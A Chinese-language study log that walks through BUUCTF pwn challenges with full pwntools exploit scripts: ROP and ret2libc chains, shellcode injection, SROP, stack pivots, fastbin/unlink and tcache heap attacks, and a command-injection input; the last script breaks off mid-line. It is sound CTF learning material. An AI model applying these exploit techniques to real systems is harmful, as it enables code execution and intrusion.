buu做题记录1 算是最近得做题记录了,就是一开始的比较简单呃就挺简洁的,所以后面跳到5,6页了,算是总结吧,之后也不知道要干什么,就这样子吧
[第五空间2019 决赛]PWN5 静态分析
可以看到有格式字符串漏洞,原本因为1想的是password会在栈上出现,但是并没有应该是被覆盖掉了,因此我们想到直接修改password
1 2 3 4 5 6 7 8 9 from pwn import *sh=remote('node5.buuoj.cn' ,27277 ) sh.recvuntil(b'your name:' ) pal=p32(0x804C044 )+p32(0x804C045 )+p32(0x804C046 )+p32(0x804C047 )+b'%10$n%11$n%12$n%13$n' sh.sendline(pal) sh.recv() sh.send(str (0x10101010 )) sh.interactive()
rctf-2019-babyheap 1 2 3 4 5 Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
ciscn_2019_c_1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 int encrypt () { size_t v0; char s[48 ]; __int16 v3; memset (s, 0 , sizeof (s)); v3 = 0 ; puts ("Input your Plaintext to be encrypted" ); gets(s); while ( 1 ) { v0 = (unsigned int )x; if ( v0 >= strlen (s) ) break ; if ( s[x] <= 96 || s[x] > 122 ) { if ( s[x] <= 64 || s[x] > 90 ) { if ( s[x] > 47 && s[x] <= 57 ) s[x] ^= 0xF u; } else { s[x] ^= 0xE u; } } else { s[x] ^= 0xD u; } ++x; } puts ("Ciphertext" ); return puts (s);
本题主要是栈溢出,然后有个加密要绕过,因此先传入’\0’绕过strlen
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *from LibcSearcher import *context(os = 'linux' , arch = 'amd64' , log_level = 'debug' ) sh=process('./ciscn_2019_c_1' ) elf=ELF('./ciscn_2019_c_1' ) def overflow (content=bytearray ): sh.recvuntil(b'Input your choice!\n' ) sh.sendline(b'1' ) sh.recvuntil(b'Input your Plaintext to be encrypted\n' ) sh.sendline(b'\x00' +b'a' *0x57 +content) main_addr=elf.symbols['main' ] puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] poprid_ret=0x0000000000400c83 ret=0x00000000004006b9 overflow(p64(poprid_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)) sh.recvuntil(b'Ciphertext\n\n' ) puts_addr=u64(sh.recv(6 ).ljust(8 ,b'\x00' )) print (hex (puts_addr))libc = LibcSearcher('puts' , puts_addr) libc_base=puts_addr-libc.dump['puts' ] system_addr = libc_base + libc.dump('system' ) binsh_addr = libc_base + libc.dump('str_bin_sh' ) overflow(p64(ret)+p64(p64(poprid_ret)+p64(binsh_addr)+p64(system_addr))) sh.interactive()
但是不知道为什么我的libcsearcher一直用不了,所以用网上找的偏移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import* sh=remote('node5.buuoj.cn' ,29738 ) e=ELF('./ciscn_2019_c_1' ) puts_plt=e.plt['puts' ] puts_got=e.got['puts' ] main_addr=e.symbols['main' ] rdi_addr=0x0000000000400c83 ret=0x00000000004006b9 sh.recv() sh.sendline(b'1' ) sh.recv() padding=b' \x00' +b' a' *0x57 sh.sendline(padding+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)) sh.recvuntil(b' Ciphertext\n\n' ) puts_addr = u64(sh.recv(6 ).ljust(8 , b' \x00' )) libc_base=puts_addr-0x0809c0 system=libc_base+0x04f440 binsh=libc_base+0x1b3e9a sh.recv() sh.sendline(b'1' ) sh.recv() sh.sendline(padding+p64(rdi_addr)+p64(binsh)+p64(ret)+p64(system)) sh.interactive()
ciscn_2019_n_5 1 2 3 4 5 6 7 Arch: amd64-64 -little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000 ) Stack: Executable RWX: Has RWX segments
1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main (int argc, const char **argv, const char **envp) { char text[30 ]; setvbuf(stdout , 0LL , 2 , 0LL ); puts ("tell me your name" ); read(0 , name, 0x64 uLL); puts ("wow~ nice name!" ); puts ("What do you want to say to me?" ); gets(text); return 0 ; }
text在栈上,栈溢出
但是呢第一想法是构造ROP链,但是在ROPgadget的时候发现几乎没有适合的rop,所以只能换个想法了
发现name可写,又有rwx,因此就直接写shellcode,之后ret就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import* binary='./ciscn_2019_n_5' #sh=process(binary) sh=remote('node5.buuoj.cn' ,29953 ) elf=ELF(binary) ret=0x0000601080 context(arch='amd64' ,os='linux' ) shellcode=asm (shellcraft.sh()) sh.recvuntil(b' tell me your name\n' ) sh.send(shellcode) sh.recvuntil(b' What do you want to say to me?') pal=0x28*b' a' +p64(ret)sh.send(pal) sh.interactive()
这道题学到了
1 2 context(arch='amd64' ,os='linux' ) shellcode=asm (shellcraft.sh())
首先导入pwntool模块,之后便可以有自助shellcode,虽然我之前都是手写的但是容易挂
ciscn_2019_en_2 1 2 3 4 5 Arch: amd64-64 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000 )
同ciscn_2019_c_1
not_the_same_3dsctf_2016 1 2 3 4 5 6 [*] '/mnt/hgfs/shared/ctf-learn/3dsctf_2016' Arch: i386-32 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000 )
1 2 3 4 5 6 bamboo@bamboo-virtual-machine:/mnt/hgfs/shared/ctf-learn$ ROPgadget --binary 3 dsctf_2016 --only 'int' Gadgets information ============================================================ 0x0806d8a5 : int 0x80 Unique gadgets found: 1
发现ROPgadget有些东西找不出来这时候就要使用ropper函数
ropper Roopper 的语法基本上由命令和选项组成。下面是一些常用的 Roopper 命令和选项的示例:
分析二进制文件:
搜索特定指令:
1 ropper -f <binary_file> --search <instruction>
根据模式匹配搜索:
1 ropper -f <binary_file> --search <pattern> --pattern
过滤和排序指令:
1 ropper -f <binary_file> --opcode <opcode> --type <type> --sort <sort_type>
生成 ROP 链:
1 ropper -f <binary_file> --chain "<gadget1>;<gadget2>;..."
显示帮助信息:
上述命令中的 <binary_file>
是要分析的二进制文件的路径。
其中,该程序是 32 位,所以我们需要使得
系统调用号,即 eax 应该为 0xb 说明即使是32位的在执行syscall时的参数仍然在寄存器中
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
但是呢没有/bin/sh所以在栈上构造
所以泄露栈?
但是我们发现好像没法玩,因为什么都没有
这时候是在搞不了发现原来有后门函数,真的绷不住了
首先shift+F12找到有个flag.txt字符串,然后ctrl+x找到调用的函数
然后发现只有fget,实在是不会了,该flag位置在0x80ECA2D然后ctrl+s有rw权限因此读flag
但是有个问题,我发现
他根本没有push ebp,靠!
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import* from LibcSearcher import* context (arch='i386' ,os='linux' ,log_level='debug' ) sh=remote('node5.buuoj.cn' ,26826 ) flag_addr=0x80ECA2D backdoor=0x80489A0 printf =0x0804f0a0 exit =0x0804e660 pal=0x2d *b' a' +p32(backdoor)+p32(printf )+p32(exit )+p32(flag_addr) sh.sendline(pal) sh.interactive()
二解 我一开始的思路是利用main函数里的gets造成溢出,覆盖返回地址去读出flag,然后利用get_secret函数的输入点造成溢出然后覆盖返回地址到write函数的地址,打印出unk_80CF91B里的flag的内容,但是后来在百度fgets的用法的时候,发现它能够避免造成溢出,而且fl4g在bss段,没有ret指令可以继续控制程序。
后来我在程序了发现了mprotect函数,可以用它来修改我们内存栈的权限,让它可读可写可执行,接着让写入shellcode,然后执行获取shell,这题的做法跟get_started_3dsctf_2016这题类似
由于需要利用ret指令控制程序,所以这里需要借助用来设置三个参数的三个寄存器命令,p3_ret=0x806fcc8
1 ROPgadget --binary not_the_same_3dsctf_2016 --only "pop|ret" |grep pop
ctrl+s调出程序的段表,将.got.plt段改为可读可写可执行,addr=0x80eb000
1 2 payload ='a' *0x2d +p32(mprotect)+p32(p3_ret) payload +=p32(addr)+p32(0x100 )+p32(0x7 )
将返回地址填写成read函数,设置read函数的参数,之后将返回地址改为我们修改为可读可写可执行的地址,最好读入shellcode
1 2 3 4 5 payload +=p32(read_addr)+p32(p3_ret) payload +=p32(0 )+p32(addr)+p32(len(shellcode))+p32(addr) r.sendline(payload) r.sendline(shellcode)
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import* r=remote('node3.buuoj.cn' ,29651 ) elf=ELF('not_the_same_3dsctf_2016' ) read_addr=elf.symbols['read' ] mprotect=0x806ED40 addr=0x80eb000 p3_ret=0x806fcc8 shellcode=asm (shellcraft.sh()) payload ='a' *0x2d +p32(mprotect)+p32(p3_ret) payload +=p32(addr)+p32(0x100 )+p32(0x7 ) payload +=p32(read_addr)+p32(p3_ret) payload +=p32(0 )+p32(addr)+p32(len(shellcode))+p32(addr) r.sendline(payload) r.sendline(shellcode) r.interactive()
exp看的不是很懂,但是大概理解意思
iscn_2019_ne_5 1 2 3 4 5 Arch: i386-32 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000 )
在做这道题的时候,发现自己32位传参还是有一定的不理解
32位传参:
一般是依靠类似于
1 垃圾数据+ret_addr+某返回地址(bbbb)+arg1+arg2+.....
这样子的,因为ret_addr的后面要紧跟某一个要返回的地址,这个东西编译器会处理好的,但是如果想要一次调用两个以上的函数,应该要先弹栈
例如:
1 system_addr+pop|ret+/bin/sh_addr+下一个函数
如此如此
还有一个问题便是
ida里的一个语句,我点进去src的时候发现src在栈上,但是src是一个地址,所以我很好奇src到底是在栈上还是在栈上的一个地址,其实src就是在栈上,但是其指向的不一定在栈上
1 2 3 4 5 6 7 8 9 10 int __cdecl GetFlag (char *src) { char dest[4 ]; char v3[60 ]; *(_DWORD *)dest = 48 ; memset (v3, 0 , sizeof (v3)); strcpy (dest, src); return printf ("The flag is your log:%s\n" , dest); }
src可控显然栈溢出
1 2 3 4 bamboo@bamboo-virtual-machine:/mnt/hgfs/shared/ctf-learn$ ROPgadget --binary ciscn_2019_ne_5 --string 'sh' Strings information ============================================================ 0x080482ea : sh
找到sh,幸运的是sh是flussh的sh其后面\x00截断,不然打不了
2018_rop 1 2 3 4 5 Arch: i386-32 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000 )
1 2 3 4 5 6 ssize_t vulnerable_function () { char buf[136 ]; return read(0 , buf, 0x100 u); }
溢出6个地址的长度,1个ebp所以只有一次只有5个,返回地址改main,4个地址长度
那么这里啥都没有,所以先泄露libc版本,然后system(‘’/bin/sh’)即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import* from LibcSearcher import* sh=remote('node5.buuoj.cn' ,28188 ) elf=ELF('./2018_rop' ) context(arch='i386' ,os='linux' ,log_level='debug' ) pal=(0x88 +4 )*b' a' +p32(elf.plt['write' ])+p32(elf.sym['main' ])+p32(1 )+p32(elf.got['write' ])+p32(4 ) sh.send(pal) write_addr=u32(sh.recv(4 )) print("write_addr===>" ,hex(write_addr)) libc=LibcSearcher('write' ,write_addr) libc_base=write_addr-libc.dump('write' ) system_addr=libc_base+libc.dump('system' ) binsh_addr=libc_base+libc.dump('str_bin_sh' ) pal=(0x88 +4 )*b' a' +p32(system_addr)+p32(elf.sym['main' ])+p32(binsh_addr) sh.sendline(pal) sh.interactive()
bjdctf_2020_babyrop 1 2 3 4 5 Arch: amd64-64 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000 )
与上题一样
bjdctf_2020_babystack2 1 2 3 4 5 6 [*] '/mnt/hgfs/shared/ctf-learn/2020_babystack2' Arch: amd64-64 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000 )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[12 ]; size_t nbytes; setvbuf(_bss_start, 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 1 , 0LL ); LODWORD(nbytes) = 0 ; puts ("**********************************" ); puts ("* Welcome to the BJDCTF! *" ); puts ("* And Welcome to the bin world! *" ); puts ("* Let's try to pwn the world! *" ); puts ("* Please told me u answer loudly!*" ); puts ("[+]Are u ready?" ); puts ("[+]Please input the length of your name:" ); __isoc99_scanf("%d" , &nbytes); if ( (int )nbytes > 10 ) { puts ("Oops,u name is too long!" ); exit (-1 ); } puts ("[+]What's u name?" ); read(0 , buf, (unsigned int )nbytes); return 0 ; }
很明显的整数溢出,一个输入0可以几乎无限溢出
然后一个backdoor
就搞定了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * r=remote('node5.buuoj.cn' ,28161 ) #r=process('./bjdctf_2020_babystack2' ) backdoor_addr=0x400726 r.recvuntil('[+]Please input the length of your name:' ) r.sendline('-1' ) payload=b' a' *0x10 +b'b ' *0x8 payload+=p64(backdoor_addr) r.recvuntil(b' [+]What\'s u name?' ) r.sendline(payload) r.interactive()
jarvisoj_fm 1 2 3 4 5 Arch: i386-32 -little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000 )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[80 ]; unsigned int v5; v5 = __readgsdword(0x14 u); be_nice_to_people(); memset (buf, 0 , sizeof (buf)); read(0 , buf, 0x50 u); printf (buf); printf ("%d!\n" , x); if ( x == 4 ) { puts ("running sh..." ); system("/bin/sh" ); } return 0 ; }
就是一个任意地址读x=4就行啦
1 2 3 4 5 6 7 8 from pwn import* sh=remote('node5.buuoj.cn' ,26902 ) context.log_level='debug' over_flow=0x0804A02C pal=p32(over_flow)+b' %11 $n' sh.sendline(pal) sh.interactive()
jarvisoj_tell_me_something 1 2 3 4 5 Arch: amd64-64 -little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000 )
本题就是一个溢出然后一个后门
因为retn之前没有leave所以没有ebp
ciscn_2019_es_2 1 2 3 4 5 Arch: i386-32 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000 )
后门
[HarekazeCTF2019]baby_rop2 1 2 3 4 5 Arch: amd64-64 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000 )
常规rop
ciscn_s_3 1 2 3 4 5 Arch: amd64-64 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000 )
1 2 3 4 5 6 7 8 signed __int64 vuln () { signed __int64 v0; char buf[16 ]; v0 = sys_read(0 , buf, 0x400 uLL); return sys_write(1u , buf, 0x30 uLL); }
首先是系统调用read和write,搞得不能泄露libc基址,很显然栈溢出
没有leave,因此0x10后面就是ret
两个gadget,一个rax=15是sigreturn ,一个是rax=59是execve
而vuln是系统调用就有syscall
那么很显然是SROP,万事俱备只差/bin/sh\x00的addr
那只能自己写
那就只能调用read_write看看能不能写到跟/bin/sh\x00偏移固定的地址啦
这个东西一看就知道是地址,就gdb进去看,然后出来看,减一下
突然发觉可以用search,记下来
偏移是128:这是一个大坑,因为glibc版本不同,他的偏移也是不同的!!!!其实是0x118偏移,但是不改libc版本就是0x128偏移
因为buf是在rsp+10,而write能写0x30个字节,那么就会有rbp在里面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *sh=remote('node5.buuoj.cn' ,27109 ) context(arch='amd64' ,os='linux' ,log_level='debug' ) elf=ELF('./ciscn_s_3' ) def debug (): gdb.attach(sh) pause() main_addr=elf.sym['main' ] rax_15_ret=0x04004DA syscall_ret=0x0400517 read_write_ret=0x004004F1 pal=b'/bin/sh\x00' +8 *b'a' +p64(read_write_ret) sh.sendline(pal) sh.recv(0x20 ) binsh_addr=u64(sh.recv(8 ))-0x118 print ("binsh_addr===>" ,hex (binsh_addr))frame=SigreturnFrame() frame.rax=constants.SYS_execve frame.rdi=binsh_addr frame.rsi=0 frame.rdx=0 frame.rip=syscall_ret frame_bytes = bytes (frame) pal=b'a' *0x10 +p64(rax_15_ret)+p64(syscall_ret)+frame_bytes sh.sendline(pal) sh.interactive()
ez_pz_hackover_2016 首先是它一开始就给你了一个gift:栈地址
然后估摸是crashme\x00绕过避免改payload,然后就是溢出
因为这里\n会截断,所以两个想法
一个是shellcode写栈上
一个是rop链
babyheap_0ctf_2017 1 2 3 4 5 Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
因为内存页的缘故,所以一般刚初始化的堆块起始地址末尾为00
思路 首先是分配多个堆块,包括一个size为0x20堆块,以及0x90堆块,然后free chunk1,再改chunk1的fd位指向chunk2,我们是要将chunk2再次malloc,但是fastbin堆块分配的时候会有check size的检查,那么就再覆盖0x90堆块的size为0x20,之后malloc了之后改回来,然后再释放该堆块到unsortedbin,就可以Print泄露libc基址
之后便是分配堆块到malloc_hook上方,可以通过字节错位找到相应的堆块
fastbin中有fd的先被分配
以下是一些过程
首先要分配fastbin,就要找到合法的堆块,可以用
找到堆块
填充完就这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from pwn import *sh=remote("node5.buuoj.cn" ,28594 ) context.log_level='debug' sla = lambda x,y : sh.sendlineafter(x,y) sa = lambda x,y : sh.sendafter(x,y) def debug (): gdb.attach(sh) pause() def add (size=str ): sla(b'Command: ' , b'1' ) sla(b'Size: ' , str (size).encode()) def fill (index=int , content=bytes ): sla(b'Command: ' , b'2' ) sla(b'Index: ' , str (index).encode()) sla(b'Size: ' , str (len (content)).encode()) sa(b'Content: ' , content) def delete (index=int ): sla(b'Command: ' ,b'3' ) sla(b'Index: ' ,str (index).encode()) def Print (index=int ): sla(b'Command: ' ,b'4' ) sla(b'Index: ' ,str (index).encode()) add(0x10 ) add(0x10 ) add(0x10 ) add(0x10 ) add(0x90 ) add(0x10 ) add(0x10 ) add(0x10 ) delete(2 ) delete(1 ) pal=p64(0 )*3 +p64(0x21 )+b'\x80' fill(0 ,pal) pal=p64(0 )*3 +p64(0x21 ) fill(3 ,pal) add(0x10 ) add(0x10 ) pal=p64(0 )*3 +p64(0xa1 ) fill(3 ,pal) delete(4 ) Print(2 ) sh.recv(10 ) data=u64(sh.recv(6 ).ljust(8 ,b'\x00' )) print ("addr==========>" ,hex (data))main_arena_addr=data-88 malloc_hook_addr=main_arena_addr-0x10 fake_fastbin=malloc_hook_addr-0x23 libc_base=data-0x3C4B78 add(0x90 ) add(0x10 ) add(0x60 ) add(0x60 ) delete(10 ) delete(9 ) pal=p64(0 )*3 +p64(0x71 )+p64(fake_fastbin) fill(8 ,pal) add(0x60 ) add(0x60 ) one_gadget=libc_base+0x4526a pal=0x13 *b'a' +p64(one_gadget) print ("fake_fast===>" ,fake_fastbin)fill(10 ,pal) print ("malloc_hook===>" ,malloc_hook_addr)add(0x10 ) sh.interactive()
学到的东西 虽然是一道很简单的题目,但是我一开始还真的没有做出来,记住malloc之后的堆块会清空
mrctf2020_shellcode 这道题第一眼就比较神奇,因为他不能ida反编译,估计是花指令之类的,但是我不会,只能读汇编啦
就是一个shellcode,很简单
1 2 3 4 5 6 7 8 from pwn import *sh=remote('node5.buuoj.cn' ,29244 ) context(arch='amd64' ,os='linux' ,log_level='debug' ) shellcode=asm(shellcraft.sh()) sh.recvuntil(b'Show me your magic!\n' ) sh.sendline(shellcode) sh.interactive()
bjdctf_2020_babyrop2 这道题就是先格式字符串漏洞泄露canary,然后用puts(puts@got)来泄露libc基址
bjdctf_2020_router 这道题就是考察一个对于linux命令行的绕过了
1 2 3 4 5 6 7 *(_QWORD *)dest = ' gnip' ; puts ("Please input the ip address:" );read(0 , buf, 0x10 uLL); strcat (dest, buf);system(dest); puts ("done!" );
这里就是输入|cat flag
即可,关于这方面的内容我就写在另一篇md上了
[ZJCTF 2019]EasyHeap 1 2 6020 C0:magic6020E0 :heap_array
就是一个堆溢出
首先的思路肯定是覆盖一个大数字在magic上,然后就会想到unsortedbin attack,但是要已知fd,然后修改bk为&magic-0x10
,但是没有show类函数,搞不定?
那接下来就是unlink了,这个比较easy,简单说就是一个地址addr有chunk1的地址,然后修改chunk1的fd为addr-0x18,bk为addr-0x10,然后就显然了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *sh=remote("node5.buuoj.cn" ,25380 ) context.log_level='debug' elf=ELF('./easyheap' ) sla = lambda x,y:sh.sendlineafter(x,y) sa = lambda x,y:sh.sendafter(x,y) def add (size=int ,content=bytearray (b'a' ) ): sla(b'Your choice :' ,b'1' ) sla(b'Size of Heap : ' ,str (size).encode()) sa(b'Content of heap:' ,content) def edit (index=int ,content=bytearray ): sla(b'Your choice :' ,b'2' ) sla(b'Index :' ,str (index).encode()) sla(b'Size of Heap : ' ,str (len (content)).encode()) sa(b'Content of heap : ' ,content) def delete (index=int ): sla(b'Your choice :' ,b'3' ) sla(b'Index :' ,str (index).encode()) def debug (): gdb.attach(sh) pause() magic_addr=0x6020C0 heap_array=0x6020E0 add(0x10 ) add(0x10 ) add(0x40 ) add(0x80 ) pal1=p64(0 )+p64(0x30 )+p64(heap_array-0x18 +0x10 )+p64(heap_array-0x10 +0x10 )+p64(0 )*2 +p64(0x30 )*2 +p64(0x40 ) pal2=p64(0 )*9 +p64(0x90 ) edit(2 ,pal2) edit(2 ,pal1) delete(3 ) edit(2 ,p64(elf.got['free' ])*3 ) edit(0 ,p64(elf.plt['system' ])) add(0x10 ,b'/bin/sh\x00' ) delete(3 ) sh.interactive()
这里最有病的就是后门仅仅是提供一个system的符号表。
二解 先申请3个堆块,index分别为0,1,2,然后释放chunk2,接着edit chunk1溢出,修改chunk1数据为/bin/sh(因为后面要delete chunk1 getshell)修改chunk2的fd为一处与heaparray数组接近的地方,因为这里可以错位偏移构造一个size为0x7f的fake_chunk,绕过malloc对fastbin chunk的检查,让它插进fastbins ,之后从新申请回fake_chunk,利用fake_chunk溢出修改heaparray[0]的值为free_got,最后edit chunk0(现在为free_got)为system_plt,然后delete(1)执行system(“/bin/sh”) getshell
跟0ctf那题有异曲同工之妙,就是构造fake_fastbin
[Black Watch 入群题]PWN 首先本道题
1 2 3 4 5 6 int __cdecl main (int argc, const char **argv, const char **envp) { vul_function(); puts ("GoodBye!" ); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 ssize_t vul_function () { size_t v0; size_t v1; char buf[24 ]; v0 = strlen (m1); write(1 , m1, v0); read(0 , &s, 0x200 u); v1 = strlen (m2); write(1 , m2, v1); return read(0 , buf, 0x20 u); }
在大多数操作系统中,BSS 段的权限通常是可读写(RW)的,但不可执行(E)。
所以显然就是栈迁移,有地方让我们写,然后到main里让我们得以凑齐两个leave_ret,从而可以实施
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *from LibcSearcher import *context.log_level="debug" context.arch="i386" sh=remote("node5.buuoj.cn" ,26209 ) elf=ELF("spwn" ) write_plt=elf.plt["write" ] write_got=elf.got["write" ] main=0x08048513 s_addr=0x0804A300 leave_ret=0x08048511 ret_addr=0x08048312 sh.recvuntil("name?" ) payload1=p32(write_plt)+p32(main)+p32(1 )+p32(write_got)+p32(4 ) sh.send(payload1) sh.recvuntil("say?" ) payload2=b'A' *0x18 +p32(s_addr-4 )+p32(leave_ret) sh.send(payload2) write_addr=u32(sh.recv(4 )) print ("write_addr=" ,end='' )print (hex (write_addr))libcbase = write_addr - 0x0d43c0 system_addr = libcbase + 0x3a940 binsh = libcbase + 0x15902b sh.recvuntil("name?" ) payload3=p32(ret_addr)+p32(system_addr)+p32(main)+p32(binsh) sh.sendline(payload3) sh.recvuntil("say?" ) sh.sendline(payload2) sh.interactive()
这道题让我感觉很奇怪,因为我用libcsearcher找的libc不能用,但是我用网上找的偏移确实正确的
cmcc_simplerop 这道题用的是int 80的系统调用
1 int80(11 ,"/bin/sh" ,null,null)
后面的四个参数分别是eax 、ebx 、ecx 、edx 。
ciscn_2019_n_3 改堆的free函数为system@plt,然后再改内容为/sh,应该是可以getshell的,但是不知道为什么调试一直显示共享库损坏,就不写了
strchr寻找字符出现的地方
babyfengshui_33c3_2016 首先是一个off-by-null的漏洞
那么应该是一个unlink然后通过unlink后的堆块,来改一个结构堆块的内容为free@got,之后改这个内容的内容堆块,即改free@go表为system然后再传入一个/bin/sh\x00就行了
但是我看了wp,发现我的思路有点过于复杂了,他的des的大小判断是根据堆块越界来看的,我们可以不让结构堆块和des堆块连在一起,就能实现越界到另一个结构堆块上
可以通过show函数来泄露libc基址,就越界覆盖一个free@got来show
hitcon_ctf_2019_one_punch 冷知识:calloc不会从tcachebin里面取堆块
首先大概的思路是先泄露libc基址,这个可以通过show unsortedbin来泄露,再泄露heap基址,之后便是构造tcache stashing unlink attack
,之后再修改__malloc_hook
为add rsp###,ret然后在栈中构造ROP链
仔细说一下tcache的unlink attack,它是先申请相同size的两个smallbin和tcachebin,然后再用calloc拿掉一个smallbin的时候会将剩下的smallbin放进tcachebin里,而且其中几乎没有什么check,那么我们就可以在拿取之前将smallbin的bk改成目标地址,但是要保证fd链是正确的,就可以在target-0x10上覆盖一个地址,算是大数组,也可以字节错位来实现一些小目标
首先这题有几个问题 magic函数的判定寻找过程 首先是qword_4030
是位于bss段上的,那么vmmap上找第一个RW段,就是bss段,然后以基址往后30就是该值,之后+0x20即在这个地址上的值加上0x20
还有tcache结构堆块的结构 tcache结构是第一个malloc或calloc的堆块的时候初始化形成的,首先是couts数组,然后才是tcache堆,而这个couts的存储大小有1字节和2字节之分,区分于版本的大小,在较低版本都是1字节,较高版本是2字节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 from pwn import *sh=process('./2019_one_punch' ) context.log_level='debug' sla = lambda x,y:sh.sendlineafter(x,y) sa = lambda x,y:sh.sendafter(x,y) su = lambda x :sh.recvuntil(x) sl = lambda x :sh.sendline(x) def magic (content=bytearray ): sla(b'> ' ,b'50086' ) sl(content) def add (idx=int ,size=int ,content=bytearray ): sla(b'> ' ,b'1' ) sla(b'idx: ' ,str (idx).encode()) sla(b'hero name: ' ,size*content) def rename (idx=int ,content=bytearray ): sla(b'> ' ,b'2' ) sla(b'idx: ' ,str (idx).encode()) sla(b'hero name: ' ,content) def show (idx=int ): sla(b'> ' ,b'3' ) sla(b'idx: ' ,str (idx).encode()) def delete (idx=int ): sla(b'> ' ,b'4' ) sla(b'idx: ' ,str (idx).encode()) def malloc (content=bytearray ): sla(b'> ' ,b'50056' ) sl(content) def debug (): gdb.attach(sh) pause() for i in range (7 ): add(0 ,0x120 ,b'a' ) delete(0 ) show(0 ) recvdata2=u64(sh.recv()[11 :][:6 ].ljust(8 ,b'\x00' )) heap_base=recvdata2 & 0xFFFFFFFFF000 print ("heap_base_addr======>" ,hex (heap_base))add(0 ,0x120 ,b'a' ) add(1 ,0x120 ,b'a' ) delete(0 ) show(0 ) sh.recvuntil(b'hero name: ' ) recvdata1=u64(sh.recv(6 ).ljust(8 ,b'\x00' )) main_arena_addr=recvdata1-96 print ("mainarena==========>" ,hex (main_arena_addr))libc_base=main_arena_addr-0x1ECB80 print ("libc_base_addr==========>" ,hex (libc_base))for i in range (6 ): add(0 ,0xf0 ,b'a' ) delete(0 ) for i in range (7 ): add(0 ,0x400 ,b'a' ) delete(0 ) add(0 ,0x400 ,b'a' ) add(1 ,0x400 ,b'a' ) add(1 ,0x400 ,b'a' ) add(2 ,0x400 ,b'a' ) delete(0 ) add(2 ,0x300 ,b'a' ) add(2 ,0x300 ,b'a' ) delete(1 ) add(2 ,0x300 ,b'a' ) add(2 ,0x300 ,b'a' ) fd=heap_base+0x31C0 print ("fd==>" ,fd)fake_bk=heap_base+0x30 -0x10 -5 pal=0x300 *b'a' +p64(0 )+p64(0x101 )+p64(fd)+p64(fake_bk) rename(1 ,pal) add(0 ,0x217 ,b'a' ) delete(0 ) malloc_hook=main_arena_addr-0x10 rename(0 ,p64(malloc_hook)) add(0 ,0xf0 ,b'a' ) debug() magic(b'a' ) debug() magic(b'a' ) debug() magic_gadget = libc_base+0x000000000008cfd6 payload = p64(magic_gadget) magic(payload) p_rdi = libc_base + 0x0000000000026542 p_rsi = libc_base + 0x0000000000026f9e p_rdx = libc_base + 0x000000000012bda6 p_rax = libc_base + 0x0000000000047cf8 syscall = libc_base + 0x00000000000cf6c5 rop_heap = heap_base + 0x44b0 rops = p64(p_rdi)+p64(rop_heap) rops += 